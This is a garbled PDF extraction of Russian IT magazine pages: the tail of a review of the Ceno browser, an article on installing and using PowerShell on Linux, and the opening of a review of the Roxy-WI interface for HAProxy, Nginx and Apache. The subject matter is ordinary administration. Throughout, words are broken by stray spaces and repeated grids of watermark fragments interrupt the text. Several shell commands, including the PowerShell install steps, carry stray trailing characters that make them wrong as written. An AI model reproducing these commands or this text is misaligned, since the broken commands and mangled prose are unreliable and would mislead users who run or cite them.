Ceno ин экшн
В основе Ceno лежит довольно старая версия Firefox, но авторы обещают обновить ее, когда основные работы над проектом будут закончены . Тем не менее использование устарев шего движка , исходники которого уже давно лежат в открытом доступе , наводит на грустные мысли об уязвимос тях . Но как бы то ни было, софтина работает , недоступные в обычном режиме сайты открывают ся , а что до скорос ти — то с неторопливостью Ceno можно смирить ся , особен но если учесть, что при использовании этого браузе ра не нужно городить огород с VPN.
ЗАКЛЮЧЕНИЕ
Технология Ceno может быть очень полезна для пользовате лей, потребля ющих подверга емый цензуре контент , а также для населения стран, где под ключение к интернету нестабиль но, ненадежно или дорого. С помощью одно ранговой P2P-сети организу ется своего рода комьюни ти, участни ки которого помогают друг другу делиться информацией и преодо левать различные искусствен ные ограниче ния. Тем не менее эта технология не лишена ряда недостатков , наличие которых следует обязатель но учитывать , если ты решишь установить Ceno на свой Android-смартфон или планшет .
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
АДМИН |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
||
|
p |
|
|
|
|
g |
|
|
||
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
c |
|
|
.c |
|
||
|
|
p |
|
|
|
g |
|
|
||
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
ПРИМЕНЯЕМ POWERSHELL
В LINUX
Андрей Попов andpop@mail.ru
«Санкции », «импортозаме щение» — эти словеч ки в пос леднее время все чаще встречают ся в прессе и сетевых пуб ликациях . Под давлени ем обстоятель ств некоторые ком пании переходят на Linux и свобод ное ПО. Когда работаешь
в Linux или используешь две операци онные системы сразу , очень хочется сохранить удобное окружение и привыч ное средство автомати зации, роль которого в Windows играет PowerShell. Можно ли полноцен но использовать его в Linux? Конечно , и сейчас мы разберем ся, как.
GUI И CLI
С точки зрения обычного пользовате ля, ОС — это графичес кая оболоч ка для манипуляций с файловой системой компьюте ра и запуска различных при ложений . Внешне операци онные системы отличают ся друг от друга нез начительно , так как графичес кий интерфейс везде состоит из одних и тех же элемен тов (окна, кнопки , раскры вающиеся списки и прочее ), а файловые системы постро ены на одном принципе вложен ных каталогов и файлов .
Поэто му работа с GUI-приложе ниями в Windows и Linux выглядит одинако во и интуитив но понятна , основные операции выполняют ся стандар тны ми способа ми в более менее привыч ном интерфейсе .
Продвинутые пользовате ли и профес сионалы для автомати зации работы пользуют ся еще одним инстру ментом, присутс твующим в любой десктоп ной операци онной системе . Это командный интерпре татор (оболоч ка) и набор стандар тных утилит , исполняющих ся в консоль ном режиме. Командный интерпре татор решает сразу две задачи:
•выпол нение команд, которые вводят ся вручную с помощью интерфейса командной строки (Command Line Interface, CLI);
•поддер жка языка программи рования для создания скриптов , исполняемых в операци онной системе .
Вотличие от графичес кого интерфейса , CLI-инстру менты нельзя назвать интуитив ными. Нужно знать, какие именно команды есть в операци онной сис теме, с какими ключами их запускать , как можно комбиниро вать эти команды для получения требуемо го результата .
Дело осложняется тем, что в Windows и Linux используют ся разные коман дные оболоч ки со своими наборами служеб ных команд. Это связано как с принципи аль ными отличиями в архитек туре ОС, так и с историчес кими при чинами .
CLI в Linux
В Linux работу с командной строкой поддержи вает та или иная модификация оригиналь ной оболоч ки sh операци онной системы Unix, обычно это Bash (Bourne again shell) или Zsh (Z shell).
Коман дная строка в Linux
Функци ональность этих командных интерпре таторов и набор консоль ных ути лит базируются на стандарте POSIX, созданном для обеспечения совмести мости различных Unix-подобных операци онных систем . Поэтому во всех модификаци ях Linux (как и в операци онной системе macOS) используют ся одни и те же команды , которые можно соединять друг с другом в програм мные конвей еры, когда текст из выходного потока одной утилиты направля ется на вход другой .
Многие стандар тные команды Linux ориенти рованы на обработ ку текста (grep, sed, awk, sort, cut, tail), так как в Unix-подобных операци онных сис темах тексто вые данные принято использовать в качестве универ сального представ ления информации , различные системные настрой ки и конфигура ции приложе ний хранят ся в обычных тексто вых файлах .
Еще один базовый принцип Unix, перешедший в Linux, выражается фразой «всё есть файл». Поэтому одни и те же утилиты можно использовать для работы как с обычными тексто выми файлами , так и с виртуаль ными фай
лами, представ ляющими собой каналы связи программ друг с другом , периферий ными устройства ми и устройства ми, эмулиру ющими ядро опе рационной системы .
Таким образом , несложные задачи автомати зации в Linux в итоге сводят ся
к манипуляци ям с файловой системой и обработ ке текста с помощью име ющихся в системе стандар тных команд. Такие задачи удобно решать, пос ледователь но применяя несколь ко команд, объеди ненных тексто выми потоками в конвей ер.
Пример конвей ера
Типич ный пример : необходимо очистить каталог /tmp от файлов , которые старше семи дней. Объеди няем в конвей ер команду find для поиска файлов
и команду rm для их удаления :
find /tmp -type f -name '*' -mtime +7 -print0 | xargs -0 rm -f
В более сложных случаях , когда парой конвей еров не обойтись , пишут сце нарии на поддержи ваемом оболоч кой древнем командно скриптовом языке , который никак нельзя назвать удобным и интуитив но понятным , или на одном из универ саль ных интерпре тиру емых языков , самый популярный из которых сейчас — Python.
CLI в Windows
Современ ные версии Windows базируются на разработан ной в начале 1990-х годов Windows NT, имеющей , в отличие от Unix, API-ориенти рованную архи тектуру . Операци онные системы этого семейства состоят из огромного числа подсистем и компонен тов, доступ к которым организо ван через специфи чес кие API. Для упрощения работы с такой сложной системой управляемые эле менты группиру ются в структуриро ванные объекты .
В этом и состоит принципи аль ное отличие Windows от Unix-подобных сис тем, которые ориенти рова ны на использование текста для представ ления всего , что только можно . Инстру мент для управления Windows из командной строки должен не только поддержи вать работу с файловой системой и тек стовыми файлами , как в Unix-системах , но и обеспечивать простой и еди нообразный доступ к свойствам и методам множес тва внутренних объектных моделей Windows (.NET Framework, WMI, WSH, ADSI, CDO и так далее).
Стандар тный командный интерпре татор cmd.exe, появивший ся в Windows NT и благопо лучно доживший до последних версий Windows, не имел такой возможнос ти, его основной задачей было обеспечивать обратную совмести мость с командным интерпре татором command.com предыду щей операци онной системы MS-DOS, в которой не было никаких внутренних объектных систем . По возможнос тям оболоч ки cmd.exe и составу системных консоль ных утилит Windows всегда уступала Unix-подобным системам . Основные уси лия разработ чиков направля лись на улучшение графичес кой оболоч ки, а не на командную строку .
Для решения этих проблем Microsoft в начале 2000-х разработа ла новую оболоч ку и среду выполнения сценари ев Windows PowerShell, которая впи тала в себя удачные решения из других оболочек и скриптовых языков . PowerShell обеспечива ет прямой доступ из командной строки к внутренним объектам системы и позволя ет работать с различны ми источниками данных (например , с системным реестром или хранили щем сертифика тов ) по прин ципу файловой системы . Внутренний набор команд PowerShell можно допол нять собствен ными командами , которые полностью интегрируют ся в оболоч ку.
От всех других оболочек командной строки PowerShell отличает главная особен ность — ее ориента ция на объекты . Команды PowerShell, которые при нято называть командле тами, взаимо действуют друг с другом не с помощью символь ных строк, а через объекты . Поэтому работать в PowerShell становит ся проще , чем в традици онных оболоч ках: не нужно дополнитель но ничего делать, чтобы выделить информацию из символь ного потока.
Последова тель ность командле тов
Например , нужно получить упорядо ченный по количеству затрачен ного про цессорно го времени список процес сов, идентифика торы которых боль ше 1000. Это делается конвей ером из трех команд, назначение которых оче видно из их названий :
Get-Process | Where-Object Id -gt 1000 | Sort-Object cpu -Descending
Для поддер жки объектов разработ чики PowerShell восполь зовались объ ектной моделью .NET Framework. Таким образом , язык PowerShell относит ся
к .NET-языкам программи рова ния (как C#), и при этом он совершенно
не похож на другие . Это командно скриптовый язык, позволя ющий сов мещать в сценари ях императив ный и декларатив ный стили программи рова ния.
Объединение миров Windows и Linux
Итак, в Windows и Linux живут совершенно разные командные оболоч ки, однако старани ями Microsoft стало возможным работать с привыч ной для себя оболоч кой в любой системе :
•Bash в Windows. С помощью подсисте мы WSL (Windows Subsystem for Linux) можно установить из Microsoft Store один из дистри бутивов Linux и пользовать ся его командной оболоч кой для работы с файловой сис темой Windows или запуска Windows-утилит . Также в этом случае можно будет запускать утилиты Linux в командной строке Windows.
•PowerShell в Linux. В 2017 году Microsoft открыла исходный код
PowerShell, теперь это Open Source проект (вот репози торий на GitHub).
Оболоч ка, использующая .NET Core, стала кросс платформен ной, с ней можно работать в различных дистри бутивах Linux (Debian, Ubuntu, CentOS, Red Hat, openSUSE, Fedora) и в macOS.
Вначале кросс платформен ная версия оболоч ки называлась PowerShell Core 6, чтобы явно указать ее зависимость от .NET Core. Начиная с седьмой вер сии слово Core из названия убрали , теперь оболоч ка носит имя просто PowerShell. Версия оболоч ки, базирующаяся на полной платформе Windows
.NET Framework, называется Windows PowerShell.
УСТАНОВКА И ЗАПУСК
Установ ка PowerShell зависит от типа операци онной системы и ее версии , соответс твующие инструк ции имеются на сайте Microsoft. Например , для установ ки PowerShell в операци онной системе Linux Ubuntu 20.04 нужно выполнить следующие команды :
sudo apt-get update0
sudo apt-get install -y wget apt-transport-https software-properties-
common0
wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-
microsoft-prod.deb0
sudo dpkg -i packages-microsoft-prod.deb0
sudo apt-get update0
sudo add-apt-repository universe0
sudo apt-get install -y powershell0
Чтобы запустить установ ленную оболоч ку PowerShell, выполним в терминале команду pwsh. После вывода информации о версии PowerShell мы получим обычное приглашение командной строки с путем к текущему каталогу в качес тве префик са .
PowerShell в Linux
Продолжение статьи0 →
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
АДМИН |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
c |
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
← |
|
|
|
|
|
|
|
|
|||
w |
|
|
|
|
|
|
|
|
m |
||
|
0НАЧАЛО СТАТЬИw Click |
to |
BUY |
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
||
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
|
. |
|
|
|
|
.c |
|
|||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x ha |
|
|
|
|
ПРИМЕНЯЕМ POWERSHELL В LINUX
POWERSHELL КАК КОМАНДНАЯ ОБОЛОЧКА
Для эффективной и удобной работы в командной строке важны два момента .
1.Нужно знать названия команд и их ключей . Запомнить их будет проще , если синтаксис команд интуитив но понятен и однороден . Если мы не пом ним ключи у команды , то должна быть возможность быстро найти справку по этой команде и примеры ее использования .
2.Сами команды и их ключи должны быть краткими и удобными для быстро го набора на клавиату ре. Оболоч ка должна поддержи вать механизмы авто дополнения , поиска и повтора выполнявших ся ранее команд.
Если со вторым пунктом у стандар тных оболочек Linux все хорошо, то пох валиться понятностью имен и ключей команд они не могут: названия многих утилит представ ляют собой аббревиату ры , придуман ные еще в 1960-е годы, а одни и те же ключи в разных командах могут иметь разный смысл. В PowerShell такой проблемы нет.
Структура команд и псевдонимы
В PowerShell имена всех внутренних команд соответс тву ют шаблону «дей ствие объект », например Get-Process (получить информацию о процес се ), Get-Content (получить содержимое файла ), Clear-Host (очистить экран). Для одинако вых параметров команд используют ся стандар тные имена , струк тура параметров во всех командах идентична , все команды обрабаты вают ся одним синтакси чес ким анализа тором . Это делает семантику команд очевид ной и значитель но упрощает запоминание и использование команд
PowerShell.
Сдругой стороны , иногда PowerShell ругают именно за этот многос ловный
инеобычный для других оболочек синтаксис . Например , нам нужно создать
в текущем каталоге пустой файл 1.txt. В Bash это делается командой touch из пяти букв:
~ touch 1.txt0
При создании файла в PowerShell с помощью команды New-Item с парамет рами потребу ется ввести больше двадцати символов .
Создание файла 1.txt c помощью команды New-Item
Выглядит ужасно , правда ? Но того же результата можно добиться , набрав команду ni всего из двух символов .
Создание файла 2.txt c помощью команды ni
Коман да ni — это стандар тный псевдоним для New-Item (сокращение
по первым буквам слов команды ), значение File для параметра -Type использует ся по умолчанию , имя параметра -Path можно опустить .
Таким образом , стандар тные псевдонимы PowerShell, полный список которых можно получить с помощью команды Get-Alias, помогают быстро вводить команды и создавать компак тные и лаконичные конвей еры из нес кольких команд.
Получе ние полного списка псевдонимов c помощью команды Get-Alias
Отметим , что в Windows PowerShell за некоторыми командле тами закрепле ны псевдонимы , соответс твующие стандар тным командам Unix-подобных сис
тем: ls, rm, cp, mv, cat, ps, man, mount. В PowerShell 6/7 данные псевдонимы не определе ны, их ввод приведет к выполнению «родных » команд Linux.
Доступность команд
В .NET Core/.NET 5 реализова на не вся функци ональность платформы .NET Framework, поэтому в PowerShell 6/7 по умолчанию загружа ется меньше модулей и будет доступно меньше команд, чем в Windows PowerShell. Нап
ример, под Linux недоступны команды *-Service, *-Acl, *-Event, SetExecutionPolicy.
Часть из отсутству ющих модулей напрямую связаны с особен ностями опе рационной системы Windows и не могут быть перенесены на другие плат формы (так, в PowerShell для Linux отсутству ют провай деры и виртуаль ные диски для системно го реестра и хранили ща сертифика тов), некоторые модули могут быть добавлены в следующих версиях PowerShell.
При работе с PowerShell в Linux необходимо учитывать особен ности опе рационной системы .
•Зависи мость от регистра символов . Сама оболоч ка PowerShell, как и операци онная система Windows, не зависит от регистра символов . Нап ример, имена $a и $A обознача ют одну и ту же переменную , название командле тов можно писать в любом регистре (Get-Process, getprocess или GET-PROCESS), в путях к файлам и каталогам в Windows тоже можно использовать символы в разных регистрах (C:\Windows, c:\windows или C:\WINDOWS). Напротив , в Linux важен регистр сим волов в путях к каталогам и файлам или в именах переменных среды . Поэтому для запуска сценари ев, загрузки модулей и коррек тной работы
автодопол нения файловых путей в этих системах нужно писать точные имена с учетом регистра символов . Названия самих командле тов
и переменных PowerShell по прежнему от регистра не зависят.
•Разделите ли в путях файловой системы . В Windows в качестве раз
делителей в путях к файлам и каталогам можно использовать символы слеша / и обратного слеша \. В Linux использует ся только символ слеша /.
•Запуск команд от имени суперполь зователя (sudo). Для выпол
нения какой либо одной команды с привиле гиями суперполь зователя root в оболоч ке Linux использует ся команда sudo. В сеансе работы PowerShell напрямую применить sudo не получится , нужно с ее помощью запустить новый экземпляр оболоч ки, и все команды PowerShell будут выполнять ся от имени суперполь зователя.
Справочная система
При работе с интерак тивной командной оболоч кой важно иметь под рукой подробную и удобную справоч ную систему с описани ем возможнос тей команд и примера ми их примене ния. В PowerShell такая система имеется , в Linux она работает так же, как в Windows, с помощью команды Get-Help.
Справоч ная система
Подробная справоч ная информация о командах PowerShell (описания каж дого из параметров команды , замечания и примеры запуска команды с раз личными параметрами и аргумен тами ) хранит ся в интернете на сайтах Microsoft. С помощью команды Update-Help можно загрузить справоч ные файлы на свою машину, чтобы обращать ся к ним быстрее :
Update-Help -Force -UICulture en-US
Отметим , что командлет Get-Help позволя ет просматри вать справоч ную информацию не только о разных командах , но и о синтакси се языка PowerShell, о псевдонимах , функци ях , скриптах и других аспектах работы обо лочки . Список тем, обсуждение которых представ лено в справоч ной службе PowerShell, можно увидеть с помощью команды Get-Help about_*.
Вывод команды Get-Help about_
Работа в командной строке
При запуске PowerShell автомати чески загружа ется модуль PSReadLine, обеспечива ющий удобную интерак тивную работу в командной строке .
Названия командле тов , параметров и переменных , ключевые конструк ции
и другие элемен ты языка PowerShell при вводе в командную строку отобража ются разными цветами . Если при наборе команды получается синтакси чес ки неверная конструк ция (например , мы забыли поставить закрыва ющую скобку или не написали команду после знака конвей ера ), то последний знак > в приглашении командной строки становит ся красным .
Мы где то ошиблись
В PowerShell поддержи вается автомати ческое завершение имен команд, их параметров и путей к файлам и каталогам . Для этого использует ся клавиша Tab. Например , если набрать символы get-p и нажать Tab, то в командной строке появится команда Get-Process.
Если для завершения возможны несколь ко вариантов , то они будут выведены все, а ввод команды продол жится. Таким образом , при вводе команды можно узнать все ее возможные параметры , даже не обращаясь
к справоч ной системе (в стандар тных оболоч ках Linux такой возможнос ти нет).
Просмотр параметров при вводе команды
Если ты помнишь только часть команды (необязатель но сначала ), то по ней можно найти подходящие варианты среди тех команд, которые выполнялись в оболоч ке раньше . По умолчанию интерак тивный поиск в таком режиме акти
вируется нажатием клавиш Ctrl + r (поиск по истории команд назад) или Ctrl + s (поиск по истории команд вперед ).
Поиск по истории команд
При наборе команды PowerShell может cразу выдавать подходящий вариант из списка вводив шихся команд, который можно принять одним нажатием стрелки вправо . Активиру ется этот режим следующей командой : Set-
PSReadLineOption -PredictionSource 'History'.
Включение режима автозавер шения ввода команд
Текущие сочетания клавиш , назначен ные в PSReadLine для выполнения дей ствий, можно посмотреть с помощью команды Get-PSReadlineKeyHandler.
Просмотр текущего списка горячих клавиш
Изменить сочетания клавиш позволя ет команда Set-PSReadlineKeyHandler. Например , назначим клавишам со стрелками вверх и вниз функции HistorySearchBackward (поиск назад по истории команд) и HistorySearchForward (поиск вперед по истории команд) соответс твен но .
Переназ начение горячих клавиш
Теперь можно будет подстав лять в командную строку команды из истории , набрав в командной строке их начальные символы и нажимая стрелку вверх или вниз.
Чтобы не набирать при каждом запуске PowerShell команды для настрой ки PSReadLine, их нужно поместить в свой профиль — это скрипт, который авто матичес ки выполняет ся при каждом запуске PowerShell. Путь к профилю хра нится в переменной $PROFILE.
Скрипт $PROFILE
ВЫВОДЫ |
|
|
|
|
|
|
|
|
|
|
|
Оболоч ка |
PowerShell вполне пригод на |
для |
комфор тно го использования |
||||||||
в Linux, особен но если ты уже работал с ней в Windows, привык к объектной |
|||||||||||
природе |
этой оболоч ки , оценил |
ее возможнос |
ти и особен ности |
. В состав |
|||||||
PowerShell |
входит |
множес тво |
стандар |
тных |
командле тов , в том числе |
||||||
для работы с файловой |
системой |
, структуриро |
ван ными |
данными |
(в форматах |
CSV и JSON) и веб ресурсами по протоко лу HTTP.
Кроме внутренних командле тов , в оболоч ке можно выполнять любые кон сольные утилиты , установ ленные в операци онной системе . Поэтому получит ся комбиниро вать возможнос ти команд Linux с собствен ными механизмами PowerShell (конвей ерная обработ ка объектов , гибкая система форматиро вания выводимой информации , обработ ка возника ющих ошибок ), а также пользовать ся всей функци ональ ностью библиотек платформы .NET Core /
.NET 5 (например |
, |
для |
обработ |
ки |
символь |
ной |
информации |
или работы |
|||||
с датами и временем |
). |
|
|
|
|
|
|
|
|
|
|||
Отдель |
ного |
внимания |
заслужива |
ют скрипты PowerShell. Для автомати |
|
||||||||
зации работы в Linux необязатель |
но углубляться в дебри Bash-скриптинга |
||||||||||||
или отказывать |
ся |
от удобств и |
простоты |
командно го языка |
, полностью |
переходя на Python. Если ты уже писал скрипты PowerShell в Windows, то и в Linux сможешь пользовать ся своими наработками и создавать новые решения.
Особых отличий в скриптах PowerShell для разных платформ нет, однако интегрирован ная среда для разработ ки PowerShell ISE доступна только в PowerShell для Windows, в состав PowerShell 6/7 она не входит . Для раз
работки скриптов в Linux Microsoft рекомендует использовать редактор Visual Studio Code с расширени ем для поддер жки языка PowerShell.
В статье мы коснулись возможнос тей оболоч ки и скриптов PowerShell очень кратко . Более под робно эти вопросы рассмат риваются в моей кни ге «Современ ный PowerShell», вышедшей в мар те 2022 года.
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
АДМИН |
||||||
|
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
|
||
|
p |
df |
|
|
|
|
e |
|
|||
|
-x |
|
|
g |
|
|
|
||||
|
|
|
n |
|
|
|
|
||||
|
|
|
ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
c |
|
|
|
.c |
|
||
|
|
p |
df |
|
|
|
e |
|
|||
|
|
|
|
|
g |
|
|
|
|||
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
-x ha |
|
|
|
|
|
УДОБНЫЙ ИНТЕРФЕЙС ДЛЯ
HAPROXY, NGINX, APACHE И
KEEPALIVED
Даниил Батурин
Координатор проекта VyOS (https://vyos.io), «языковед»,
функциональщик, иногда сетевой администратор daniil@baturin.org
Apache HTTPD и Nginx — самые популярные серверы HTTP,
а HAProxy — один из самых востре бованных балансиров щиков нагрузки . Они прекрасно справляют ся со своими задачами , и множес тво админов умеют с ними работать. Однако настро ить сервер мало — его еще нужно поддержи вать, мониторить и масшта бировать. Даже в пределах одно го сервера это может быстро превратить ся в утомитель ное занятие. Тем более если управлять нужно кластером .
Решений для одного сервера достаточ но много — «панели управления хос тингом» существу ют на любой вкус, и свобод ные, и проприетар ные. Но одно го сервера многим современ ным проектам уже не хватит . Чтобы справить ся с нагрузкой и обеспечить отказоус тойчивость, нужен кластер .
Радикаль ное решение для автомати зации управления кластером — под ход infrastructure as code. Для самых крупных проектов это решение, веро ятно, единствен но возможное . Есть ли альтер нативы для тех, кому уже нужна автомати зация работы более чем с одним сервером ? Проект Roxy-WI стре мится создать такую альтер нативу. Давай посмотрим , насколь ко ему это уда ется.
ROXY-WI
Проект Roxy-WI стартовал в самом начале 2018 года. Он назывался HAProxyWI (HAProxy Web Interface), но позже сменил имя, посколь ку его возможнос ти уже не ограничи вались автомати заци ей настрой ки HAProxy.
Исходный код проекта распростра няется по лицензии Apache 2.0, и его можно найти на GitHub.
Для финансирова ния разработ ки авторы Roxy-WI предос тавля ют платный доступ к репозитори ям с собранны ми пакетами , техничес кую поддер жку и дополнитель ные сервисы , например автомати чес кое резервное копиро вание настро ек .
УСТАНОВКА И ОБНОВЛЕНИЕ
Любой желающий может установить Roxy-WI из исходников , для этого дос таточно клониро вать репозиторий c GitHub и следовать инструк циям.
Авторы Roxy-WI предос тавили нам пробный доступ к репозитори ям , поэтому возиться с ручной установ кой не пришлось . Установ ка из RPM на Rocky Linux 8 (идейном наследни ке CentOS) не составля ет большого тру да.
Альтер натив ный вариант — разверты вание на Amazon EC2 из официаль ного образа . Образ устроен по принципу bring your own license — поль зователь платит за ресурсы EC2, но не за использование ПО. В настоящий момент в этом образе установ лена версия 5.2.0, в то время как самая све
жая — 6.0.1.
В интерфейсе Roxy-WI есть опция провер ки и установ ки обновлений , но нет опций настрой ки имени пользовате ля и пароля для доступа к репози торию, так что настра ивать их придет ся вручную , в /etc/yum.repos.d или в /
etc/apt/auth.conf.d.
ВНУТРЕННЯЯ СТРУКТУРА
Проект Roxy-WI написан на Python 3, так что прекращение поддер жки Python 2.7 его никак не затронуло .
Код и данные устанав лива ются в каталог /var/www/haproxy-wi/app/ — в невидимых для пользовате ля частях еще сохранилось старое имя проекта .
Собствен ного сервиса у интерфейса Roxy-WI нет, он полагается
на Apache HTTPD и генерирует конфиг в /etc/httpd/conf.d/roxy-wi.conf.
Веб приложе ние организо вано весьма необычным для нашего времени спо собом — в виде набора скриптов CGI. С одной стороны , процесс Roxy-WI не может упасть, потому что каждый скрипт выполняет ся веб сервером отдельно . С другой — все недостатки CGI остаются в силе: на запуск скрип тов нужно время , и это отрицатель но сказыва ется на отзывчивос ти интерфей са.
Для хранения данных Roxy-WI по умолчанию использует SQLite. Данные
о пользовате лях, серверах и прочих сущностях хранят ся в файле /var/www/ haproxy-wi/app/roxy-wi.db. Вообще , все данные Roxy-WI хранит в катало ге приложе ния: закрытые ключи для SSH в /var/www/haproxy-wi/keys/, кон
фиги серверов в /var/www/haproxy-wi/configs/ и так далее.
Публичный доступ к этим каталогам запрещен только директивами Deny from all в настрой ках Apache HTTPD, поэтому с настрой ками и путями нужно быть вниматель ным, если вдруг захочется их поменять.
Допус кать утечку файла roxy-wi.db категоричес ки нельзя , посколь ку пароли пользовате лей в нем хранят ся в виде хешей MD5 без использования
соли и уязвимы даже к простей шей атаке по радужным таблицам .
С другой стороны , для резервно го копирования или переноса установ ки Roxy-WI на другой сервер достаточ но заархивиро вать каталог /var/www/ haproxy-wi, что проще , чем если бы данные были разбро саны по множес тву каталогов . Но идеаль ным вариантом все равно представ ляет ся отдельный каталог с данными , вроде /var/lib/roxy-wi, — хочется верить, что будущие версии пойдут именно этим путем.
Кроме SQLite, есть поддер жка MySQL. Перейти с SQLite на MySQL можно после установ ки. В веб интерфейсе опций для этой цели нет, придет ся пра
вить файл настро ек /var/www/haproxy-wi/app/roxy-wi.cfg и инициали
зировать базу, запустив скрипт.
ВЕБ-ИНТЕРФЕЙС
В интерфейсе Roxy-WI можно найти ряд отличных идей. Например , если какой то раздел настро ек пуст, то пользовате лю показывают не просто пус тую страницу , а страницу с видеоинс трукцией о том, как использовать этот раздел .
Пустая страница с видеоинс трук цией
С другой стороны , в интерфейсе пока что много шероховатос тей . К примеру , поля для ввода адресов IP или доменных имен выдают неспецифич ную ошиб ку, если до или после адреса оказал ся пробел . Поле для ввода часового пояса требует от пользовате ля строку для tzdata вроде Europe/Moscow — ни выпадающе го списка , ни автодопол нения . Ряд полей, например ldap_enable, требуют от пользовате ля ввести 0 (disable) или 1 (enable), хотя гораздо логичнее был бы чекбокс . Иными словами , пользовать ся можно , но простор для мелких улучшений большой .
ВОЗМОЖНОСТИ
Теперь давай глянем на собствен но возможнос ти работы с серверами . Заяв ленный список весьма внушите лен : Roxy-WI в той или иной степени способен управлять настрой ками и HAProxy, и Apache HTTPD, и Nginx.
Мы в деталях рассмот рим базовую функци ональность, насколь ко позволя ет объем статьи. Перед тем как что либо настра ивать, нужно расска зать Roxy-WI о серверах нашего кластера .
Взаимодействие с серверами |
|
|
|
|
|
|
|
|
|
|||||||||||
Взаимо дей ствие |
|
с серверами |
происхо |
дит по SSH. Перед тем как добавлять |
||||||||||||||||
серверы |
, нужно загрузить |
закрытые |
ключи для подклю чения |
к ним. Диалог |
||||||||||||||||
добавления |
пользовате |
ля |
|
|
и |
ключа |
использует |
не слишком |
интуитив |
ную |
||||||||||
и стандар тную |
|
терминоло |
гию : поле name — это имя набора данных |
|||||||||||||||||
для аутентифика |
ции |
(закрытого |
ключа и имени пользовате |
ля ), а поле |
||||||||||||||||
credential — имя пользовате |
ля , с которым Roxy-WI будет подклю чать ся к сер |
|||||||||||||||||||
веру. Загрузить |
сам ключ можно только после создания |
записи для него. |
||||||||||||||||||
Добавление |
ключей , конечно , не частая операция |
, но интерфейс опять же |
||||||||||||||||||
можно улучшить |
. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Диалог добавления данных доступа
Диалог загрузки ключа
Добав ление серверов не представ ляет никакой сложности . Разве что может понадобить ся обновить страницу вручную , чтобы увидеть добавленный сер вер.
Диалог добавления данных доступа
Порадо вала возможность сразу проверить подклю чение по SSH: чтобы убе диться , что имя пользовате ля и ключ верные , достаточ но нажать кнопку Check
рядом с полем Credentials.
Запись в списке серверов
Установить HAProxy на свежий сервер Roxy-WI может автомати чески, что сильно экономит время админу .
